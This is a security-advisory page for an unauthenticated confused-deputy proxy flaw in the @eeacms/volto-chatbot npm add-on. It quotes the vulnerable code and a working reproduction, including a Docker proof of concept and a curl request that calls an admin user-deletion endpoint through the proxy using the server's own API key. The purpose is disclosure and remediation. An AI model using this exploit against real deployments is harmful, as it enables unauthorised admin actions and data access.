Live › vulnerability › GHSA-w9x9-j56r-h98r
The Volto chatbot add-on proxies any unauthenticated request under /_v1_da/ to the Danswer API and attaches the server's Danswer API key or session cookie. An attacker can call any Danswer endpoint, including admin ones, as the configured service account.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-29 16:39 UTC. All times on this page are UTC.
Sites running the Volto add-on with Danswer credentials configured are exposed, which the advisory describes as the normal setup. The route is reachable by any network client that can reach the Volto server on port 3000, so publicly reachable instances are the highest risk. Installs without the package or without Danswer configuration can skip it.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| @eeacms/volto-chatbot | npm | <= 2.0.3 | 2.0.4 |
npm ls @eeacms/volto-chatbot; affected is <= 2.0.3._v1_da in src/index.js and src/middleware.js.DANSWER_API_KEY or DANSWER_USERNAME/DANSWER_PASSWORD is set in the deployment environment.@eeacms/volto-chatbot: upgrade to 2.0.4Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
@eeacms/volto-chatbot exposes an Express middleware route (**/_v1_da/**) that accepts unauthenticated HTTP requests from any network client and proxies them to the configured upstream Danswer API, automatically attaching the server-side service credentials (DANSWER_API_KEY or session cookie). Because no authorization check, path allowlist, or method restriction is applied before the upstream request is issued, an unauthenticated attacker can invoke arbitrary Danswer API operations — including privileged admin endpoints — as the configured service account. This is a classic Confused Deputy attack: the Volto proxy acts as a deputy that carries credentials on behalf of the attacker.
The vulnerability is introduced across two source files in @eeacms/[email protected].
Route registration (src/index.js:15):
middleware.all('**/_v1_da/**', proxyMiddleware);
The wildcard pattern matches every HTTP method and any sub-path, and no authentication middleware is chained before proxyMiddleware. This means all requests reaching any /_v1_da/ path are forwarded without any identity check.
Unvalidated path extraction and upstream URL construction (src/middleware.js:228-230):
const path = req.url.replace('/_v1_da/', '/');
const reqUrl = `${process.env.DANSWER_URL || ''}/api${path}`;
The attacker-controlled req.url is transformed into the upstream Danswer path with a simple string replace. There is no allowlist of permitted paths, no restriction on HTTP methods, and no validation of the resulting URL. The attacker therefore fully controls which Danswer endpoint is called and with which HTTP method.
Credential attachment and forwarding (src/middleware.js:164, src/middleware.js:169, src/middleware.js:202):
// Session-cookie path (line 164):
headers = { Cookie: cached_auth_cookie, ... }
// API-key path (line 169):
Authorization: 'Bearer ' + api_key,
// Sink — final upstream dispatch (line 202):
const response = await fetch(url, options, req.body);
After constructing the URL from attacker-supplied input, the middleware attaches the server-side Danswer credentials (either a cached login session cookie or a Bearer API key) and dispatches the request. The response from Danswer is then relayed back to the unauthenticated client.
Complete data flow (source → sink):
src/index.js:15 — all **/_v1_da/** paths registered to proxyMiddleware with no auth guard (source: external HTTP request).src/middleware.js:228 — req.url used directly to derive the upstream path without allowlist.src/middleware.js:230 — attacker-controlled path appended to ${DANSWER_URL}/api.src/middleware.js:164 / src/middleware.js:169 — server-side session cookie or API key attached.src/middleware.js:202 — fetch(url, options, req.body) sends the fully-credentialed request to the Danswer backend (sink).This vulnerability is present whenever the add-on middleware is installed and DANSWER_API_KEY or DANSWER_USERNAME/DANSWER_PASSWORD is configured — conditions required for normal, documented operation of the package.
The following steps reproduce the vulnerability using the Docker-based test harness provided with this report.
Prerequisites:
requests libraryStep 1 — Build the Docker image (from the npmAI_719_eea__volto-chatbot/ parent directory):
docker build \
-f vuln-001/Dockerfile \
-t vuln001-proxy \
reports/npmAI_719_eea__volto-chatbot
The image packages the unmodified src/middleware.js from @eeacms/[email protected], a minimal Express server that wires the vulnerable middleware, and an in-container mock Danswer server that echoes every received request as JSON. The environment variable DANSWER_API_KEY=supersecret is set to simulate a real deployment.
Step 2 — Start the container:
docker run --rm -d -p 3000:3000 --name vuln001-test vuln001-proxy
This launches both the Volto proxy (port 3000) and the mock Danswer server (port 18080) inside the container.
Step 3 — Run the PoC exploit script:
python3 vuln-001/poc.py 127.0.0.1 3000
What the script does:
POST request with a JSON body to the admin-only Danswer endpoint via the proxy:POST http://127.0.0.1:3000/_v1_da/admin/users/delete
Content-Type: application/json
{"id": "victim-user-123"}
No Authorization or Cookie header is sent by the client.
Expected output (exploit confirmed):
[+] === EXPLOIT CONFIRMED — PASS ===
[+] Decisive evidence:
1. Attacker-controlled path reached upstream : url='/api/admin/users/delete'
2. Server-side API key forwarded (no client auth) : authorization='Bearer supersecret'
3. Attacker-controlled HTTP method forwarded : method='POST'
The mock Danswer server receives POST /api/admin/users/delete with Authorization: Bearer supersecret — proving that the attacker controlled both the upstream path and the HTTP method while the server silently attached its own credentials.
Equivalent manual curl command (without Docker):
# Terminal 1 — mock Danswer server
node - <<'NODE'
require('http').createServer((req, res) => {
let b = ''; req.on('data', c => b += c);
req.on('end', () => {
res.setHeader('content-type', 'application/json');
res.end(JSON.stringify({
method: req.method, url: req.url,
authorization: req.headers.authorization || null,
body: b
}));
});
}).listen(18080, () => console.log('mock Danswer on :18080'));
NODE
# Terminal 2 — Volto with Danswer credentials configured
DANSWER_URL=http://127.0.0.1:18080 DANSWER_API_KEY=secret yarn start
# Terminal 3 — unauthenticated exploit request
curl -i -X POST 'http://localhost:3000/_v1_da/admin/users/delete' \
-H 'Content-Type: application/json' \
--data '{"id":"victim-user-123"}'
The response body will contain "authorization":"Bearer secret" and "url":"/api/admin/users/delete", confirming the Confused Deputy.
This is a Confused Deputy / Missing Authorization vulnerability. The Volto proxy acts as a privileged deputy that forwards attacker-supplied requests to the Danswer backend while silently attaching its own service credentials.
Who is impacted:
Any deployment of @eeacms/volto-chatbot that:
DANSWER_API_KEY or DANSWER_USERNAME/DANSWER_PASSWORD configured (required for the add-on to function at all).Because these conditions are satisfied in every normal production deployment of the package, the vulnerability is effectively default-on.
Concrete attacker capabilities depend on the Danswer service account's permissions but include:
POST /admin/users/delete, POST /chat/create-chat-session, or any other writable Danswer API path as the service account.The vulnerability is exploitable by any unauthenticated network attacker, including anonymous internet users if the Volto server is publicly reachable.
Dockerfile# Dockerfile for VULN-001 PoC — Unauthenticated Danswer API Confused Deputy Proxy
#
# Build context: the parent directory (npmAI_719_eea__volto-chatbot/)
# docker build -f vuln-001/Dockerfile -t vuln001-proxy .
#
# Run:
# docker run --rm -p 3000:3000 vuln00
This page as .md · .json · in your agent: get_signal("GHSA-w9x9-j56r-h98r")
GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.